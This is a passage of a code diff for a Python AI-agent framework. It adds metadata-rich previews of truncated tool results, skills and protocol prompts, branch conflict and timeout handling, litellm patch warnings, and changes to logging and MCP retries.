new_v, did = _truncate_arrays(v)
out[k] = new_v
changed = changed or did
return (out, True) if changed else (obj, False)
return obj, False
preview_obj, was_truncated = _truncate_arrays(parsed)
if not was_truncated:
return None # No large arrays — caller should use raw slicing
try:
result = json.dumps(preview_obj, indent=2, ensure_ascii=False)
except (TypeError, ValueError):
return None
if len(result) > max_chars:
# Even 3+1 items too big — try just 1 item
def _minimal_arrays(obj: Any) -> Any:
if isinstance(obj, list) and len(obj) > _LARGE_ARRAY_THRESHOLD:
n = len(obj)
return obj[:1] + [f"... ({n - 1} more items omitted, {n} total) ..."]
if isinstance(obj, dict):
return {k: _minimal_arrays(v) for k, v in obj.items()}
return obj
preview_obj = _minimal_arrays(parsed)
try:
result = json.dumps(preview_obj, indent=2, ensure_ascii=False)
except (TypeError, ValueError):
return None
if len(result) > max_chars:
result = result[:max_chars] + ""
return result
def _truncate_tool_result(
self,
result: ToolResult,
@@ -3440,15 +3736,36 @@ class EventLoopNode(NodeProtocol):
if tool_name == "load_data":
if limit <= 0 or len(result.content) <= limit:
return result # Small load_data result — pass through as-is
# Large load_data result — truncate with pagination hint
preview_chars = max(limit - 300, limit // 2)
preview = result.content[:preview_chars]
truncated = (
f"[{tool_name} result: {len(result.content)} chars — "
f"too large for context. Use offset/limit parameters "
f"to read smaller chunks.]\n\n"
f"Preview:\n{preview}"
# Large load_data result — truncate with smart preview
PREVIEW_CAP = min(5000, max(limit - 500, limit // 2))
metadata_str = ""
smart_preview: str | None = None
try:
parsed_ld = json.loads(result.content)
metadata_str = self._extract_json_metadata(parsed_ld)
smart_preview = self._build_json_preview(parsed_ld, max_chars=PREVIEW_CAP)
except (json.JSONDecodeError, TypeError, ValueError):
pass
if smart_preview is not None:
preview_block = smart_preview
else:
preview_block = result.content[:PREVIEW_CAP] + ""
header = (
f"[{tool_name} result: {len(result.content):,} chars — "
f"too large for context. Use offset_bytes/limit_bytes "
f"parameters to read smaller chunks.]"
)
if metadata_str:
header += f"\n\nData structure:\n{metadata_str}"
header += (
"\n\nWARNING: This is an INCOMPLETE preview. "
"Do NOT draw conclusions or counts from it."
)
truncated = f"{header}\n\nPreview (small sample only):\n{preview_block}"
logger.info(
"%s result truncated: %d%d chars (use offset/limit to paginate)",
tool_name,
@@ -3470,25 +3787,47 @@ class EventLoopNode(NodeProtocol):
# Pretty-print JSON content so load_data's line-based
# pagination works correctly.
write_content = result.content
parsed_json: Any = None # track for metadata extraction
try:
parsed = json.loads(result.content)
write_content = json.dumps(parsed, indent=2, ensure_ascii=False)
parsed_json = json.loads(result.content)
write_content = json.dumps(parsed_json, indent=2, ensure_ascii=False)
except (json.JSONDecodeError, TypeError, ValueError):
pass # Not JSON — write as-is
(spill_path / filename).write_text(write_content, encoding="utf-8")
if limit > 0 and len(result.content) > limit:
# Large result: preview + file reference
preview_chars = max(limit - 300, limit // 2)
preview = result.content[:preview_chars]
content = (
f"[Result from {tool_name}: {len(result.content)} chars — "
f"too large for context, saved to '{filename}'. "
f"Use load_data(filename='{filename}') "
f"to read the full result.]\n\n"
f"Preview:\n{preview}"
# Large result: build a small, metadata-rich preview so the
# LLM cannot mistake it for the complete dataset.
PREVIEW_CAP = 5000
# Extract structural metadata (array lengths, key names)
metadata_str = ""
smart_preview: str | None = None
if parsed_json is not None:
metadata_str = self._extract_json_metadata(parsed_json)
smart_preview = self._build_json_preview(parsed_json, max_chars=PREVIEW_CAP)
if smart_preview is not None:
preview_block = smart_preview
else:
preview_block = result.content[:PREVIEW_CAP] + ""
# Assemble header with structural info + warning
header = (
f"[Result from {tool_name}: {len(result.content):,} chars — "
f"too large for context, saved to '{filename}'.]"
)
if metadata_str:
header += f"\n\nData structure:\n{metadata_str}"
header += (
f"\n\nWARNING: The preview below is INCOMPLETE. "
f"Do NOT draw conclusions or counts from it. "
f"Use load_data(filename='{filename}') to read the "
f"full data before analysis."
)
content = f"{header}\n\nPreview (small sample only):\n{preview_block}"
logger.info(
"Tool result spilled to file: %s (%d chars → %s)",
tool_name,
@@ -3513,13 +3852,34 @@ class EventLoopNode(NodeProtocol):
# No spillover_dir — truncate in-place if needed
if limit > 0 and len(result.content) > limit:
preview_chars = max(limit - 300, limit // 2)
preview = result.content[:preview_chars]
truncated = (
f"[Result from {tool_name}: {len(result.content)} chars — "
f"truncated to fit context budget. Only the first "
f"{preview_chars} chars are shown.]\n\n{preview}"
PREVIEW_CAP = min(5000, max(limit - 500, limit // 2))
metadata_str = ""
smart_preview: str | None = None
try:
parsed_inline = json.loads(result.content)
metadata_str = self._extract_json_metadata(parsed_inline)
smart_preview = self._build_json_preview(parsed_inline, max_chars=PREVIEW_CAP)
except (json.JSONDecodeError, TypeError, ValueError):
pass
if smart_preview is not None:
preview_block = smart_preview
else:
preview_block = result.content[:PREVIEW_CAP] + ""
header = (
f"[Result from {tool_name}: {len(result.content):,} chars — "
f"truncated to fit context budget.]"
)
if metadata_str:
header += f"\n\nData structure:\n{metadata_str}"
header += (
"\n\nWARNING: This is an INCOMPLETE preview. "
"Do NOT draw conclusions or counts from the preview alone."
)
truncated = f"{header}\n\n{preview_block}"
logger.info(
"Tool result truncated in-place: %s (%d%d chars)",
tool_name,
@@ -4344,6 +4704,7 @@ class EventLoopNode(NodeProtocol):
ctx: NodeContext,
execution_id: str = "",
iteration: int | None = None,
inner_turn: int = 0,
) -> None:
if self._event_bus:
if ctx.node_spec.client_facing:
@@ -4354,6 +4715,7 @@ class EventLoopNode(NodeProtocol):
snapshot=snapshot,
execution_id=execution_id,
iteration=iteration,
inner_turn=inner_turn,
)
else:
await self._event_bus.emit_llm_text_delta(
@@ -4362,6 +4724,7 @@ class EventLoopNode(NodeProtocol):
content=content,
snapshot=snapshot,
execution_id=execution_id,
inner_turn=inner_turn,
)
async def _publish_tool_started(
@@ -4591,11 +4954,19 @@ class EventLoopNode(NodeProtocol):
subagent_tool_names = set(subagent_spec.tools or [])
tool_source = ctx.all_tools if ctx.all_tools else ctx.available_tools
subagent_tools = [
t
for t in tool_source
if t.name in subagent_tool_names and t.name != "delegate_to_sub_agent"
]
# GCU auto-population: GCU nodes declare tools=[] because the runner
# auto-populates them at setup time. But that expansion doesn't reach
# subagents invoked via delegate_to_sub_agent — the subagent spec still
# has the original empty list. When a GCU subagent has no declared
# tools, include all catalog tools so browser tools are available.
if subagent_spec.node_type == "gcu" and not subagent_tool_names:
subagent_tools = [t for t in tool_source if t.name != "delegate_to_sub_agent"]
else:
subagent_tools = [
t
for t in tool_source
if t.name in subagent_tool_names and t.name != "delegate_to_sub_agent"
]
missing = subagent_tool_names - {t.name for t in subagent_tools}
if missing:
+148 -22
View File
@@ -27,11 +27,14 @@ from framework.graph.node import (
SharedMemory,
)
from framework.graph.validator import OutputValidator
from framework.llm.provider import LLMProvider, Tool
from framework.llm.provider import LLMProvider, Tool, ToolUse
from framework.observability import set_trace_context
from framework.runtime.core import Runtime
from framework.schemas.checkpoint import Checkpoint
from framework.storage.checkpoint_store import CheckpointStore
from framework.utils.io import atomic_write
logger = logging.getLogger(__name__)
def _default_max_context_tokens() -> int:
@@ -149,6 +152,8 @@ class GraphExecutor:
dynamic_tools_provider: Callable | None = None,
dynamic_prompt_provider: Callable | None = None,
iteration_metadata_provider: Callable | None = None,
skills_catalog_prompt: str = "",
protocols_prompt: str = "",
):
"""
Initialize the executor.
@@ -174,6 +179,8 @@ class GraphExecutor:
tool list (for mode switching)
dynamic_prompt_provider: Optional callback returning current
system prompt (for phase switching)
skills_catalog_prompt: Available skills catalog for system prompt
protocols_prompt: Default skill operational protocols for system prompt
"""
self.runtime = runtime
self.llm = llm
@@ -195,6 +202,20 @@ class GraphExecutor:
self.dynamic_tools_provider = dynamic_tools_provider
self.dynamic_prompt_provider = dynamic_prompt_provider
self.iteration_metadata_provider = iteration_metadata_provider
self.skills_catalog_prompt = skills_catalog_prompt
self.protocols_prompt = protocols_prompt
if protocols_prompt:
self.logger.info(
"GraphExecutor[%s] received protocols_prompt (%d chars)",
stream_id,
len(protocols_prompt),
)
else:
self.logger.warning(
"GraphExecutor[%s] received EMPTY protocols_prompt",
stream_id,
)
# Parallel execution settings
self.enable_parallel_execution = enable_parallel_execution
@@ -224,11 +245,11 @@ class GraphExecutor:
"""
if not self._storage_path:
return
state_path = self._storage_path / "state.json"
try:
import json as _json
from datetime import datetime
state_path = self._storage_path / "state.json"
if state_path.exists():
state_data = _json.loads(state_path.read_text(encoding="utf-8"))
else:
@@ -251,9 +272,14 @@ class GraphExecutor:
state_data["memory"] = memory_snapshot
state_data["memory_keys"] = list(memory_snapshot.keys())
state_path.write_text(_json.dumps(state_data, indent=2), encoding="utf-8")
with atomic_write(state_path, encoding="utf-8") as f:
_json.dump(state_data, f, indent=2)
except Exception:
pass # Best-effort — never block execution
logger.warning(
"Failed to persist progress state to %s",
state_path,
exc_info=True,
)
def _validate_tools(self, graph: GraphSpec) -> list[str]:
"""
@@ -415,6 +441,14 @@ class GraphExecutor:
)
return s1 + "\n\n" + s2
def _get_runtime_log_session_id(self) -> str:
"""Return the session-backed execution ID for runtime logging, if any."""
if not self._storage_path:
return ""
if self._storage_path.parent.name != "sessions":
return ""
return self._storage_path.name
async def execute(
self,
graph: GraphSpec,
@@ -708,10 +742,7 @@ class GraphExecutor:
)
if self.runtime_logger:
# Extract session_id from storage_path if available (for unified sessions)
session_id = ""
if self._storage_path and self._storage_path.name.startswith("session_"):
session_id = self._storage_path.name
session_id = self._get_runtime_log_session_id()
self.runtime_logger.start_run(goal_id=goal.id, session_id=session_id)
self.logger.info(f"🚀 Starting execution: {goal.name}")
@@ -937,6 +968,33 @@ class GraphExecutor:
self.logger.info(" Executing...")
result = await node_impl.execute(ctx)
# GCU tab cleanup: stop the browser profile after a top-level GCU node
# finishes so tabs don't accumulate. Mirrors the subagent cleanup in
# EventLoopNode._execute_subagent().
if node_spec.node_type == "gcu" and self.tool_executor is not None:
try:
from gcu.browser.session import (
_active_profile as _gcu_profile_var,
)
_gcu_profile = _gcu_profile_var.get()
_stop_use = ToolUse(
id="gcu-cleanup",
name="browser_stop",
input={"profile": _gcu_profile},
)
_stop_result = self.tool_executor(_stop_use)
if asyncio.iscoroutine(_stop_result) or asyncio.isfuture(_stop_result):
await _stop_result
except ImportError:
pass # GCU not installed
except Exception as _gcu_exc:
logger.warning(
"GCU browser_stop failed for profile %r: %s",
_gcu_profile,
_gcu_exc,
)
# Emit node-completed event (skip event_loop nodes)
if self._event_bus and node_spec.node_type != "event_loop":
await self._event_bus.emit_node_loop_completed(
@@ -1765,10 +1823,31 @@ class GraphExecutor:
if node_spec.tools:
available_tools = [t for t in self.tools if t.name in node_spec.tools]
# Create scoped memory view
# Create scoped memory view.
# When permissions are restricted (non-empty key lists), auto-include
# _-prefixed keys used by default skill protocols so agents can read/write
# operational state (e.g. _working_notes, _batch_ledger) regardless of
# what the node declares. When key lists are empty (unrestricted), leave
# unchanged — empty means "allow all".
read_keys = list(node_spec.input_keys)
write_keys = list(node_spec.output_keys)
# Only extend lists that were already restricted (non-empty).
# Empty means "allow all" — adding keys would accidentally
# activate the permission check and block legitimate reads/writes.
if read_keys or write_keys:
from framework.skills.defaults import SHARED_MEMORY_KEYS as _skill_keys
existing_underscore = [k for k in memory._data if k.startswith("_")]
extra_keys = set(_skill_keys) | set(existing_underscore)
for k in extra_keys:
if read_keys and k not in read_keys:
read_keys.append(k)
if write_keys and k not in write_keys:
write_keys.append(k)
scoped_memory = memory.with_permissions(
read_keys=node_spec.input_keys,
write_keys=node_spec.output_keys,
read_keys=read_keys,
write_keys=write_keys,
)
# Build per-node accounts prompt (filtered to this node's tools)
@@ -1812,6 +1891,8 @@ class GraphExecutor:
dynamic_tools_provider=self.dynamic_tools_provider,
dynamic_prompt_provider=self.dynamic_prompt_provider,
iteration_metadata_provider=self.iteration_metadata_provider,
skills_catalog_prompt=self.skills_catalog_prompt,
protocols_prompt=self.protocols_prompt,
)
VALID_NODE_TYPES = {
@@ -2052,6 +2133,10 @@ class GraphExecutor:
edge=edge,
)
# Track which branch wrote which key for memory conflict detection
fanout_written_keys: dict[str, str] = {} # key -> branch_id that wrote it
fanout_keys_lock = asyncio.Lock()
self.logger.info(f" ⑂ Fan-out: executing {len(branches)} branches in parallel")
for branch in branches.values():
target_spec = graph.get_node(branch.node_id)
@@ -2143,8 +2228,31 @@ class GraphExecutor:
)
if result.success:
# Write outputs to shared memory using async write
# Write outputs to shared memory with conflict detection
conflict_strategy = self._parallel_config.memory_conflict_strategy
for key, value in result.output.items():
async with fanout_keys_lock:
prior_branch = fanout_written_keys.get(key)
if prior_branch and prior_branch != branch.branch_id:
if conflict_strategy == "error":
raise RuntimeError(
f"Memory conflict: key '{key}' already written "
f"by branch '{prior_branch}', "
f"conflicting write from '{branch.branch_id}'"
)
elif conflict_strategy == "first_wins":
self.logger.debug(
f" ⚠ Skipping write to '{key}' "
f"(first_wins: already set by {prior_branch})"
)
continue
else:
# last_wins (default): write and log
self.logger.debug(
f" ⚠ Key '{key}' overwritten "
f"(last_wins: {prior_branch} -> {branch.branch_id})"
)
fanout_written_keys[key] = branch.branch_id
await memory.write_async(key, value)
branch.result = result
@@ -2191,9 +2299,11 @@ class GraphExecutor:
return branch, e
# Execute all branches concurrently
tasks = [execute_single_branch(b) for b in branches.values()]
results = await asyncio.gather(*tasks, return_exceptions=False)
# Execute all branches concurrently with per-branch timeout
timeout = self._parallel_config.branch_timeout_seconds
branch_list = list(branches.values())
tasks = [asyncio.wait_for(execute_single_branch(b), timeout=timeout) for b in branch_list]
results = await asyncio.gather(*tasks, return_exceptions=True)
# Process results
total_tokens = 0
@@ -2201,17 +2311,33 @@ class GraphExecutor:
branch_results: dict[str, NodeResult] = {}
failed_branches: list[ParallelBranch] = []
for branch, result in results:
path.append(branch.node_id)
for i, result in enumerate(results):
branch = branch_list[i]
if isinstance(result, Exception):
if isinstance(result, asyncio.TimeoutError):
# Branch timed out
branch.status = "timed_out"
branch.error = f"Branch timed out after {timeout}s"
self.logger.warning(
f" ⏱ Branch {graph.get_node(branch.node_id).name}: "
f"timed out after {timeout}s"
)
path.append(branch.node_id)
failed_branches.append(branch)
elif result is None or not result.success:
elif isinstance(result, Exception):
path.append(branch.node_id)
failed_branches.append(branch)
else:
total_tokens += result.tokens_used
total_latency += result.latency_ms
branch_results[branch.branch_id] = result
returned_branch, node_result = result
path.append(returned_branch.node_id)
if node_result is None or isinstance(node_result, Exception):
failed_branches.append(returned_branch)
elif not node_result.success:
failed_branches.append(returned_branch)
else:
total_tokens += node_result.tokens_used
total_latency += node_result.latency_ms
branch_results[returned_branch.branch_id] = node_result
# Handle failures based on config
if failed_branches:
+4
View File
@@ -565,6 +565,10 @@ class NodeContext:
# staging / running) without restarting the conversation.
dynamic_prompt_provider: Any = None # Callable[[], str] | None
# Skill system prompts — injected by the skill discovery pipeline
skills_catalog_prompt: str = "" # Available skills XML catalog
protocols_prompt: str = "" # Default skill operational protocols
# Per-iteration metadata provider — when set, EventLoopNode merges
# the returned dict into node_loop_iteration event data. Used by
# the queen to record the current phase per iteration.
+13 -1
View File
@@ -140,14 +140,18 @@ def compose_system_prompt(
focus_prompt: str | None,
narrative: str | None = None,
accounts_prompt: str | None = None,
skills_catalog_prompt: str | None = None,
protocols_prompt: str | None = None,
) -> str:
"""Compose the three-layer system prompt.
"""Compose the multi-layer system prompt.
Args:
identity_prompt: Layer 1 static agent identity (from GraphSpec).
focus_prompt: Layer 3 per-node focus directive (from NodeSpec.system_prompt).
narrative: Layer 2 auto-generated from conversation state.
accounts_prompt: Connected accounts block (sits between identity and narrative).
skills_catalog_prompt: Available skills catalog XML (Agent Skills standard).
protocols_prompt: Default skill operational protocols section.
Returns:
Composed system prompt with all layers present, plus current datetime.
@@ -162,6 +166,14 @@ def compose_system_prompt(
if accounts_prompt:
parts.append(f"\n{accounts_prompt}")
# Skills catalog (discovered skills available for activation)
if skills_catalog_prompt:
parts.append(f"\n{skills_catalog_prompt}")
# Operational protocols (default skill behavioral guidance)
if protocols_prompt:
parts.append(f"\n{protocols_prompt}")
# Layer 2: Narrative (what's happened so far)
if narrative:
parts.append(f"\n--- Context (what has happened so far) ---\n{narrative}")
+48
View File
@@ -23,6 +23,7 @@ except ImportError:
litellm = None # type: ignore[assignment]
RateLimitError = Exception # type: ignore[assignment, misc]
from framework.config import HIVE_LLM_ENDPOINT as HIVE_API_BASE
from framework.llm.provider import LLMProvider, LLMResponse, Tool
from framework.llm.stream_events import StreamEvent
@@ -45,6 +46,12 @@ def _patch_litellm_anthropic_oauth() -> None:
from litellm.llms.anthropic.common_utils import AnthropicModelInfo
from litellm.types.llms.anthropic import ANTHROPIC_OAUTH_TOKEN_PREFIX
except ImportError:
logger.warning(
"Could not apply litellm Anthropic OAuth patch — litellm internals may have "
"changed. Anthropic OAuth tokens (Claude Code subscriptions) may fail with 401. "
"See BerriAI/litellm#19618. Current litellm version: %s",
getattr(litellm, "__version__", "unknown"),
)
return
original = AnthropicModelInfo.validate_environment
@@ -86,10 +93,12 @@ def _patch_litellm_metadata_nonetype() -> None:
"""
import functools
patched_count = 0
for fn_name in ("completion", "acompletion", "responses", "aresponses"):
original = getattr(litellm, fn_name, None)
if original is None:
continue
patched_count += 1
if asyncio.iscoroutinefunction(original):
@functools.wraps(original)
@@ -109,6 +118,14 @@ def _patch_litellm_metadata_nonetype() -> None:
setattr(litellm, fn_name, _sync_wrapper)
if patched_count == 0:
logger.warning(
"Could not apply litellm metadata=None patch — none of the expected entry "
"points (completion, acompletion, responses, aresponses) were found. "
"metadata=None TypeError may occur. Current litellm version: %s",
getattr(litellm, "__version__", "unknown"),
)
if litellm is not None:
_patch_litellm_anthropic_oauth()
@@ -150,6 +167,10 @@ EMPTY_STREAM_RETRY_DELAY = 1.0 # seconds
# Directory for dumping failed requests
FAILED_REQUESTS_DIR = Path.home() / ".hive" / "failed_requests"
# Maximum number of dump files to retain in ~/.hive/failed_requests/.
# Older files are pruned automatically to prevent unbounded disk growth.
MAX_FAILED_REQUEST_DUMPS = 50
def _estimate_tokens(model: str, messages: list[dict]) -> tuple[int, str]:
"""Estimate token count for messages. Returns (token_count, method)."""
@@ -166,6 +187,24 @@ def _estimate_tokens(model: str, messages: list[dict]) -> tuple[int, str]:
return total_chars // 4, "estimate"
def _prune_failed_request_dumps(max_files: int = MAX_FAILED_REQUEST_DUMPS) -> None:
"""Remove oldest dump files when the count exceeds *max_files*.
Best-effort: never raises a pruning failure must not break retry logic.
"""
try:
all_dumps = sorted(
FAILED_REQUESTS_DIR.glob("*.json"),
key=lambda f: f.stat().st_mtime,
)
excess = len(all_dumps) - max_files
if excess > 0:
for old_file in all_dumps[:excess]:
old_file.unlink(missing_ok=True)
except Exception:
pass # Best-effort — never block the caller
def _dump_failed_request(
model: str,
kwargs: dict[str, Any],
@@ -197,6 +236,9 @@ def _dump_failed_request(
with open(filepath, "w", encoding="utf-8") as f:
json.dump(dump_data, f, indent=2, default=str)
# Prune old dumps to prevent unbounded disk growth
_prune_failed_request_dumps()
return str(filepath)
@@ -358,6 +400,10 @@ class LiteLLMProvider(LLMProvider):
# Strip a trailing /v1 in case the user's saved config has the old value.
if api_base and api_base.rstrip("/").endswith("/v1"):
api_base = api_base.rstrip("/")[:-3]
elif model.lower().startswith("hive/"):
model = "anthropic/" + model[len("hive/") :]
if api_base and api_base.rstrip("/").endswith("/v1"):
api_base = api_base.rstrip("/")[:-3]
self.model = model
self.api_key = api_key
self.api_base = api_base or self._default_api_base_for_model(_original_model)
@@ -387,6 +433,8 @@ class LiteLLMProvider(LLMProvider):
return MINIMAX_API_BASE
if model_lower.startswith("kimi/"):
return KIMI_API_BASE
if model_lower.startswith("hive/"):
return HIVE_API_BASE
return None
def _completion_with_rate_limit_retry(
+6 -6
View File
@@ -83,18 +83,18 @@ configure_logging(level="INFO", format="auto")
- Compact single-line format (easy to stream/parse)
- All trace context fields included automatically
### Human-Readable Format (Development)
### Human-Readable Format (Development / Terminal)
```
[INFO ] [trace:12345678 | exec:a1b2c3d4 | agent:sales-agent] Starting agent execution
[INFO ] [trace:12345678 | exec:a1b2c3d4 | agent:sales-agent] Processing input data [node_id:input-processor]
[INFO ] [trace:12345678 | exec:a1b2c3d4 | agent:sales-agent] LLM call completed [latency_ms:1250] [tokens_used:450]
[INFO ] [agent:sales-agent] Starting agent execution
[INFO ] [agent:sales-agent] Processing input data [node_id:input-processor]
[INFO ] [agent:sales-agent] LLM call completed [latency_ms:1250] [tokens_used:450]
```
**Features:**
- Color-coded log levels
- Shortened IDs for readability (first 8 chars)
- Context prefix shows trace correlation
- Terminal output omits trace_id and execution_id for readability
- For full traceability (e.g. debugging), use `ENV=production` to get JSON file logs with trace_id and execution_id
## Trace Context Fields
+12 -13
View File
@@ -4,8 +4,9 @@ Structured logging with automatic trace context propagation.
Key Features:
- Zero developer friction: Standard logger.info() calls get automatic context
- ContextVar-based propagation: Thread-safe and async-safe
- Dual output modes: JSON for production, human-readable for development
- Correlation IDs: trace_id follows entire request flow automatically
- Dual output modes: JSON for production (full trace_id/execution_id), human-readable for terminal
- Terminal omits trace_id/execution_id for readability
- Use ENV=production for file logs with full traceability
Architecture:
Runtime.start_run() Generates trace_id, sets context once
@@ -101,10 +102,11 @@ class StructuredFormatter(logging.Formatter):
class HumanReadableFormatter(logging.Formatter):
"""
Human-readable formatter for development.
Human-readable formatter for development (terminal output).
Provides colorized logs with trace context for local debugging.
Includes trace_id prefix for correlation - AUTOMATIC!
Provides colorized logs for local debugging. Omits trace_id and execution_id
from the terminal for readability; use ENV=production (JSON file logs) when
traceability is needed.
"""
COLORS = {
@@ -118,18 +120,11 @@ class HumanReadableFormatter(logging.Formatter):
def format(self, record: logging.LogRecord) -> str:
"""Format log record as human-readable string."""
# Get trace context - AUTOMATIC!
# Get trace context; omit trace_id and execution_id in terminal for readability
context = trace_context.get() or {}
trace_id = context.get("trace_id", "")
execution_id = context.get("execution_id", "")
agent_id = context.get("agent_id", "")
# Build context prefix
prefix_parts = []
if trace_id:
prefix_parts.append(f"trace:{trace_id[:8]}")
if execution_id:
prefix_parts.append(f"exec:{execution_id[-8:]}")
if agent_id:
prefix_parts.append(f"agent:{agent_id}")
@@ -211,6 +206,10 @@ def configure_logging(
root_logger.addHandler(handler)
root_logger.setLevel(level.upper())
# Suppress noisy LiteLLM INFO logs (model/provider line + Provider List URL
# printed on every single completion call). Warnings and errors still show.
logging.getLogger("LiteLLM").setLevel(logging.WARNING)
# When in JSON mode, configure known third-party loggers to use JSON formatter
# This ensures libraries like LiteLLM, httpcore also output clean JSON
if format == "json":
+39 -2
View File
@@ -28,6 +28,7 @@ from framework.runner.tool_registry import ToolRegistry
from framework.runtime.agent_runtime import AgentRuntime, AgentRuntimeConfig, create_agent_runtime
from framework.runtime.execution_stream import EntryPointSpec
from framework.runtime.runtime_log_store import RuntimeLogStore
from framework.tools.flowchart_utils import generate_fallback_flowchart
if TYPE_CHECKING:
from framework.runner.protocol import AgentMessage, CapabilityResponse
@@ -959,6 +960,12 @@ class AgentRunner:
graph = GraphSpec(**graph_kwargs)
# Generate flowchart.json if missing (for template/legacy agents)
generate_fallback_flowchart(graph, goal, agent_path)
# Read skill configuration from agent module
agent_default_skills = getattr(agent_module, "default_skills", None)
agent_skills = getattr(agent_module, "skills", None)
# Read runtime config (webhook settings, etc.) if defined
agent_runtime_config = getattr(agent_module, "runtime_config", None)
@@ -970,7 +977,7 @@ class AgentRunner:
configure_fn = getattr(agent_module, "configure_for_account", None)
list_accts_fn = getattr(agent_module, "list_connected_accounts", None)
return cls(
runner = cls(
agent_path=agent_path,
graph=graph,
goal=goal,
@@ -986,6 +993,10 @@ class AgentRunner:
list_accounts=list_accts_fn,
credential_store=credential_store,
)
# Stash skill config for use in _setup()
runner._agent_default_skills = agent_default_skills
runner._agent_skills = agent_skills
return runner
# Fallback: load from agent.json (legacy JSON-based agents)
agent_json_path = agent_path / "agent.json"
@@ -1003,7 +1014,10 @@ class AgentRunner:
except json.JSONDecodeError as exc:
raise ValueError(f"Invalid JSON in agent export file: {agent_json_path}") from exc
return cls(
# Generate flowchart.json if missing (for legacy JSON-based agents)
generate_fallback_flowchart(graph, goal, agent_path)
runner = cls(
agent_path=agent_path,
graph=graph,
goal=goal,
@@ -1014,6 +1028,9 @@ class AgentRunner:
skip_credential_validation=skip_credential_validation or False,
credential_store=credential_store,
)
runner._agent_default_skills = None
runner._agent_skills = None
return runner
def register_tool(
self,
@@ -1323,6 +1340,19 @@ class AgentRunner:
except Exception:
pass # Best-effort — agent works without account info
# Skill configuration — the runtime handles discovery, loading, and
# prompt rasterization. The runner just builds the config.
from framework.skills.config import SkillsConfig
from framework.skills.manager import SkillsManagerConfig
skills_manager_config = SkillsManagerConfig(
skills_config=SkillsConfig.from_agent_vars(
default_skills=getattr(self, "_agent_default_skills", None),
skills=getattr(self, "_agent_skills", None),
),
project_root=self.agent_path,
)
self._setup_agent_runtime(
tools,
tool_executor,
@@ -1330,6 +1360,7 @@ class AgentRunner:
accounts_data=accounts_data,
tool_provider_map=tool_provider_map,
event_bus=event_bus,
skills_manager_config=skills_manager_config,
)
def _get_api_key_env_var(self, model: str) -> str | None:
@@ -1364,6 +1395,8 @@ class AgentRunner:
return "MINIMAX_API_KEY"
elif model_lower.startswith("kimi/"):
return "KIMI_API_KEY"
elif model_lower.startswith("hive/"):
return "HIVE_API_KEY"
else:
# Default: assume OpenAI-compatible
return "OPENAI_API_KEY"
@@ -1386,6 +1419,8 @@ class AgentRunner:
cred_id = "minimax"
elif model_lower.startswith("kimi/"):
cred_id = "kimi"
elif model_lower.startswith("hive/"):
cred_id = "hive"
# Add more mappings as providers are added to LLM_CREDENTIALS
if cred_id is None:
@@ -1425,6 +1460,7 @@ class AgentRunner:
accounts_data: list[dict] | None = None,
tool_provider_map: dict[str, str] | None = None,
event_bus=None,
skills_manager_config=None,
) -> None:
"""Set up multi-entry-point execution using AgentRuntime."""
entry_points = []
@@ -1484,6 +1520,7 @@ class AgentRunner:
accounts_data=accounts_data,
tool_provider_map=tool_provider_map,
event_bus=event_bus,
skills_manager_config=skills_manager_config,
)
# Pass intro_message through for TUI display
+17 -5
View File
@@ -455,11 +455,23 @@ class ToolRegistry:
for server_config in server_list:
server_config = self._resolve_mcp_server_config(server_config, base_dir)
try:
self.register_mcp_server(server_config)
except Exception as e:
name = server_config.get("name", "unknown")
logger.warning(f"Failed to register MCP server '{name}': {e}")
for _attempt in range(2):
try:
self.register_mcp_server(server_config)
break
except Exception as e:
name = server_config.get("name", "unknown")
if _attempt == 0:
logger.warning(
"MCP server '%s' failed to register, retrying in 2s: %s",
name,
e,
)
import time
time.sleep(2)
else:
logger.warning("MCP server '%s' failed after retry: %s", name, e)
# Snapshot credential files and ADEN_API_KEY so we can detect mid-session changes
self._mcp_cred_snapshot = self._snapshot_credentials()
+75 -7
View File
@@ -29,6 +29,7 @@ if TYPE_CHECKING:
from framework.graph.edge import GraphSpec
from framework.graph.goal import Goal
from framework.llm.provider import LLMProvider, Tool
from framework.skills.manager import SkillsManagerConfig
logger = logging.getLogger(__name__)
@@ -132,6 +133,10 @@ class AgentRuntime:
accounts_data: list[dict] | None = None,
tool_provider_map: dict[str, str] | None = None,
event_bus: "EventBus | None" = None,
skills_manager_config: "SkillsManagerConfig | None" = None,
# Deprecated — pass skills_manager_config instead.
skills_catalog_prompt: str = "",
protocols_prompt: str = "",
):
"""
Initialize agent runtime.
@@ -153,7 +158,13 @@ class AgentRuntime:
event_bus: Optional external EventBus. If provided, the runtime shares
this bus instead of creating its own. Used by SessionManager to
share a single bus between queen, worker, and judge.
skills_manager_config: Skill configuration the runtime owns
discovery, loading, and prompt renderation internally.
skills_catalog_prompt: Deprecated. Pre-rendered skills catalog.
protocols_prompt: Deprecated. Pre-rendered operational protocols.
"""
from framework.skills.manager import SkillsManager
self.graph = graph
self.goal = goal
self._config = config or AgentRuntimeConfig()
@@ -161,6 +172,29 @@ class AgentRuntime:
self._checkpoint_config = checkpoint_config
self.accounts_prompt = accounts_prompt
# --- Skill lifecycle: runtime owns the SkillsManager ---
if skills_manager_config is not None:
# New path: config-driven, runtime handles loading
self._skills_manager = SkillsManager(skills_manager_config)
self._skills_manager.load()
elif skills_catalog_prompt or protocols_prompt:
# Legacy path: caller passed pre-rendered strings
import warnings
warnings.warn(
"Passing pre-rendered skills_catalog_prompt/protocols_prompt "
"is deprecated. Pass skills_manager_config instead.",
DeprecationWarning,
stacklevel=2,
)
self._skills_manager = SkillsManager.from_precomputed(
skills_catalog_prompt, protocols_prompt
)
else:
# Bare constructor: auto-load defaults
self._skills_manager = SkillsManager()
self._skills_manager.load()
# Primary graph identity
self._graph_id: str = graph_id or "primary"
@@ -216,6 +250,18 @@ class AgentRuntime:
# Optional greeting shown to user on TUI load (set by AgentRunner)
self.intro_message: str = ""
# ------------------------------------------------------------------
# Skill prompt accessors (read by ExecutionStream constructors)
# ------------------------------------------------------------------
@property
def skills_catalog_prompt(self) -> str:
return self._skills_manager.skills_catalog_prompt
@property
def protocols_prompt(self) -> str:
return self._skills_manager.protocols_prompt
def register_entry_point(self, spec: EntryPointSpec) -> None:
"""
Register a named entry point for the agent.
@@ -293,6 +339,8 @@ class AgentRuntime:
accounts_prompt=self._accounts_prompt,
accounts_data=self._accounts_data,
tool_provider_map=self._tool_provider_map,
skills_catalog_prompt=self.skills_catalog_prompt,
protocols_prompt=self.protocols_prompt,
)
await stream.start()
self._streams[ep_id] = stream
@@ -393,18 +441,24 @@ class AgentRuntime:
tc = spec.trigger_config
cron_expr = tc.get("cron")
interval = tc.get("interval_minutes")
_raw_interval = tc.get("interval_minutes")
interval = float(_raw_interval) if _raw_interval is not None else None
